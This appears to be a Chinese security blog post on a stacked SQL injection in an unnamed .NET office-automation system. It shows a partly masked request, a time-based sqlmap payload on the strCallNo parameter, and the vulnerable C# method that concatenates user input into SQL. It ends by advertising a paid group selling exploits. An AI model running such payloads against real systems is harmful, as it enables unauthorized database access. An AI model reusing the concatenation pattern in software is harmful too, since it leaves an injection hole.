01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02漏洞背景
某整合系统以协同办公作为基础平台,除了常用的OA功能外,还有强大的工作流引擎、预警平台和整合平台的基础功能。在标准化应用基础上充分结合IT行业的管理特性,采用B/S多层技术架构将会造成信息孤岛的协同办公、进销存财务、客户服务等三大业务系统完全整合在一个平台上,实现了平台所有跨系统跨模块数据信息之间的共享和关联,并能和手机、固定电话、语音设备等与系统进行实时交互。
03漏洞复现
近日外部渠爆出该系统存在SQL漏洞,参数strCallNo存在堆叠注入,具体的数据包如下
POST /****/***.as**/Get**Info HTTP/1.1
Host:
Content-Length: 14
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
strCallNo=1*
使用SqlMap发送堆叠注入Payload,strCallNo = 1' ; WAITFOR DELAY '0:0:5'-- 实现延时注入,如图所示。如下图所示。
04漏洞分析
该方法通过执行 SQL 查询,查找电话号码匹配的联系人,具体代码如下所示。
public string Get**Info(string strCallNo)
{
DataSet ds = Gateway.Default.FromCustomSql("SELECT A.CManName,A.CPosting,C.CustName FROM dbo.Common_CustomerLinkman A LEFT JOIN COMMON_CustomerToLinkMan B ON A.CManId=B.LinkMan_ID LEFT JOIN dbo.Common_Customer C ON C.CustId=B.CUSTOMER_ID WHERE A.COfficeTel1 LIKE '%" + strCallNo + "%' OR A.CMobile1 LIKE '%" + strCallNo + "%' ORDER BY B.IS_IMPORTANCE_LINKMAN DESC, B.IS_IMPORTANCE_CUSTOMER DESC").ToDataSet();
if (ds != null && ds.Tables.Count > 0 && ds.Tables[0].Rows.Count > 0)
{
DataRow dr = ds.Tables[0].Rows[0];
return dr["CManName"] + "," + dr["CPosting"] + "," + dr["CustName"];
}
return string.Empty;
使用 Gateway.Default.FromCustomSql 执行一个自定义的 SQL 查询,并将结果存储在 DataSet 对象中。而外部的传入的参数strCallNo未经过安全过滤,因此存在SQL注入漏洞。漏洞详情已经打包在星球,感兴趣的朋友可以加入自取。
更多的.NET漏洞情报,请加入星球后获取,星球持续更新最新的 .NET 应用漏洞POC,并在每年HW期间提供一手漏洞情报。这些POC/EXP涵盖了一些0day和1day漏洞,确保您始终掌握最前沿的安全信息和防护措施。
05推荐阅读
从漏洞分析到安全攻防,我们涵盖了.NET安全各个关键方面,为您呈现最新、最全面的.NET安全知识,下面是公众号发布的精华文章集合,推荐大家阅读!
06 dot.Net安全矩阵
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,dot.Net安全矩阵星球每日分享.NET安全技术干货以及交流解答各类技术等问题。
20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
我们还有一个属陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。